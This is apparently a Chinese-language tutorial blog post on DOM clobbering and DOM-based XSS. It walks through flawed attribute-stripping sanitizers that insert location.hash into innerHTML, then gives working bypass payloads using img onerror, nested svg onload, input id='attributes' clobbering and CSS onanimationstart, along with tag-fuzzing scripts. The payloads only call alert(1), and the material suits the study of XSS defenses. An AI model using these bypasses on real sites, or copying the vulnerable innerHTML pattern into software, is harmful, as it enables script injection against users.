DOM型XSS破坏

发布于:2025-07-21 ⋅ 阅读:(16) ⋅ 点赞:(0)

目录

首先

然后

第一种

第二种(DOM)

HTMLCollection

HTML Relationships

Custom


首先

<script>
    //urlencode解码 
    //location接口的hash属性是一个字符串,包含一个“#”后跟位置URL的片段标识符。如果URL没有片段标识符,则该属性的值为空字符串""
    //substr值的substr()方法返回该字符串的一部分,从指定的索引开始截取
    //substr(1)如果不写,就会把#截进去
    const data = decodeURIComponent(location.hash.substr(1)) //使用data接收#后面的值
    const root = document.createElement('div') //创建一个div元素
​
    root.innerHTML = data  //将data的值赋给div
    document.body.appendChild(root); //把root的内容插入到body里面去
    for (let el of root.querySelectorAll('*')){     //循环遍历div元素中的子元素 
        for (let attr of el.attributes ){       //获取div子标签中的属性
            el.removeAttribute(attr.name);      //对子标签中的属性进行移除
        }
    }
​
    //访问时127.0.0.1/a.html#<img src=1 onerror=alert(1)>
    //结果只删除了src=1,剩下的<img onerror=alert(1)>依旧存在于div中,是因为索引的问题,
    //例如[1,2,3,4,5]把1删除后,2就到了1的位置,但是代码已经继续往下执行,就把到2位置的3给删除了
    //以此类推最后剩下[2,4]
    //HTML 5中指定不执行由innerHTML插入的script标签,所以不能传递script标签
    //由此可以这样绕过:<img a=1 src=1 b=1 onerror=alert(1)>
</script>

然后

因为这个代码不能完全删除传入的参数,所以下面这段代码对其进行了升级:

<script> 
//<style>@keyframes x()</style></form style="animation-name: x;" onanimationstart="alert(1)">
const data = decodeURIComponent(location.hash.substr(1));
const root = document.createElement('div');
root.innerHTML = data;
​
for (let el of root.querySelectorAll('*')) {
    let attrs = []
    for(let attr of el.attributes) {
        attrs.push(attr.name); 
    }
    // 在这里删除我们的属性,onerror href,程序没有走进去就触发
    // dom破坏,给它品控生成一个无关的节点,不会删除我们的payload
    for(let name of attrs) {
    el.removeAttribute(name);
    }
}
 
document.body.appendChild(root);
</script>

第一种

1.一个svg触发会失败 二个svg会成功
2.在属性都被删除的情况下,为什么svg依然可以触发成功
​
<svg><svg/οnlοad=alert(1)>会在root.innerHTML = data;被触发。
它属于自闭合标签,onload在DOM解析时立即执行,早于属性移除
<svg/οnlοad=alert(1)>是非自闭合标签,onload事件在DOM插入后才触发,但此时属性已被移除

第二种(DOM)

HTMLCollection

之前XSS GAME靶场的Ok, Boomer这道题是一层的形式,但是这里要用两层。我们可以这样试试:

<div id="x">
    <a id="y" href='hhhhhhhhh'></a>
</div>
<script> 
    alert(x.y);
</script>

这⾥⽆论第⼀个标签怎么组合,得到的结果都只是undefined 。但是我们可以通过另⼀种⽅法加⼊引⼊ name 属性就会有其他的效果。

HTML Relationships

再者,我们也可以通过利⽤HTML标签之间存在的关系来构建层级关系。

<script>
    var log=[];
    var html =["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"], logs = [];
    div=document.createElement('div');
    for(var i=0;i<html.length;i++){
        for(var j=0;j<html.length;j++) {
            div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' id=element2>'; document.body.appendChild(div);
            if(window.element1 && element1.element2){ 
                log.push(html[i]+','+html[j]);
            }
        document.body.removeChild(div);
        }
    }
    console.log(log.join('\n'));
// 以上代码测试了现在HTML5 基本上所有的标签,使⽤两层的层级关系进⾏fuzz ,注意这⾥只使⽤了
id ,并没有使⽤name,遇上⽂的HTMLCollection 并不是⼀种⽅法。
</script>

// 试试
<form id="x">
    <output id="y">hhhhhhhhhhh</output>
</form>
<script> 
    alert(x.y.value);
</script>
// 三级的层级关系我们就需要⽤到以上两种技巧来构建
<form id="x" name="y">
    <output id="z">hhhhhhhhhhh</output>
</form>
<form id="x"></form>
<script>
    alert(x.y.z.value)
</script>
Custom

以上我们都是通过id 或者 name 来利⽤,那我们能不能通过⾃定义属性来构造呢?

<form id=x y=123></form>
<script> 
	alert(x.y)//undefine
</script>

很明显,这意味着任何未定义的属性都不会具有DOM 属性,所以就返回了 undefined。我们可以尝试⼀下fuzz 所有标签的有没有字符串类型的属性可供我们使⽤:

<script>
	var html = [...]//HTML元素数组
    var props=[]; 
    for(i=0;i<html.length;i++){
        obj =document.createElement(html[i]); 
        for(prop in obj) {
            if(typeof obj[prop] === 'string') { 
                try {
                    props.push(html[i]+':'+prop);
                }catch(e){}
            }
        }
    }
    console.log([...new Set(props)].join('\n'));
</script>

==============================================================

//试试
<form action=javascript:alert(1)>
    <input id="attributes">
    <input id="attributes">
    <button type="submit">Submit</button>
</form>
//要用户交互

el.attributes 本来应该是元素的属性列表,但由于 <input id="attributes"> 存在,el.attributes 被覆盖成这个 input 元素本身!

所以 for(let attr of el.attributes) 会尝试遍历 input 元素,所以不能只写一个input,只写一个 input 就不是可迭代对象,会导致内部报错。

onaniamtionstart是JavaScript中用于监听CSS动画开始的事件处理器

//用户不交互
<style>@keyframes x()</style></form style="animation-name: x;" onanimationstart="alert(1)">